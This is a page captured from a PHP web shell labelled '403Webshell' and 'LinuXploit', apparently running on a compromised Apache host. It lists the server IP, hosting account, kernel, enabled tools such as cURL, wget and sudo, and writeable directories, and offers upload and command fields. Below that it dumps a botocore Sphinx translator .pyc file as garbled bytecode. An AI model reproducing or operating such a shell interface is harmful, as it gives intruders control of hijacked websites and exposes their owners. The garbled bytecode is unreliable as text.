403Webshell
Server IP : 167.235.67.158  /  Your IP : 216.73.216.4
Web Server : Apache
System : Linux ubuntu-8gb-nbg1-1 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : upstairsbar.co.uk ( 982)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/botocore/docs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/botocore/docs/__pycache__/translator.cpython-312.pyc
�

P��e	��>�ddlmZddlmZddlmZGd�de�Zy)�)�nodes)�admonitionlabels)�HTML5Translatorc�6��eZdZdZdgZdd�Zd�Z�fd�Z�xZS)�BotoHTML5TranslatorzEExtension of Sphinx's ``HTML5Translator`` for Botocore documentation.z
[REQUIRED]c��|jj|j|dd|z���|r)dt|�d�}|jj|�yy)z;Uses the h3 tag for admonition titles instead of the p tag.�divzadmonition )�CLASSz<h3 class='admonition-title'> z</h3>N)�body�append�starttagr)�self�node�name�titles    �:/usr/lib/python3/dist-packages/botocore/docs/translator.py�visit_admonitionz$BotoHTML5Translator.visit_admonitionsa���	�	����M�M�$��m�d�.B�M�D�	
��0�1A�$�1G�0H��N�
�
�I�I���U�#�	�c��t|�dk(xrvt|dtj�xrWt|d�dk(xrDt|ddtj�xr"|ddj�|jvS)z�Determines if a node is an implicit heading.

        An implicit heading is represented by a paragraph node whose only
        child is a strong node with text that isnt in `IGNORE_IMPLICIT_HEADINGS`.
        �r)�len�
isinstancer�strong�Text�astext�IGNORE_IMPLICIT_HEADINGS)rrs  r�is_implicit_headingz'BotoHTML5Translator.is_implicit_heading$s���
��I��N�
I��4��7�E�L�L�1�
I��D��G���!�
I��4��7�1�:�u�z�z�2�
I��Q���
�!�!�#�4�+H�+H�H�	
rc���|j|�r7|dd}|jjd|�d��tj�t
�|�|�y)z�Visit a paragraph HTML element.

        Replaces implicit headings with an h3 tag and defers to default
        behavior for normal paragraph elements.
        rz<h3>z</h3>
N)rrrr�SkipNode�super�visit_paragraph)rr�text�	__class__s   �rr!z#BotoHTML5Translator.visit_paragraph2sR����#�#�D�)���7�1�:�D��I�I���t�D�6��1�2��.�.� ��G�#�D�)r)�)	�__name__�
__module__�__qualname__�__doc__rrrr!�
__classcell__)r#s@rrrs'���O�	� ��	$�
�*�*rrN)�docutilsr�
sphinx.localer�sphinx.writers.html5r�SphinxHTML5Translatorr�rr�<module>r/s���*�I�,*�/�,*r

Youez - 2016 - github.com/yon3zu
LinuXploit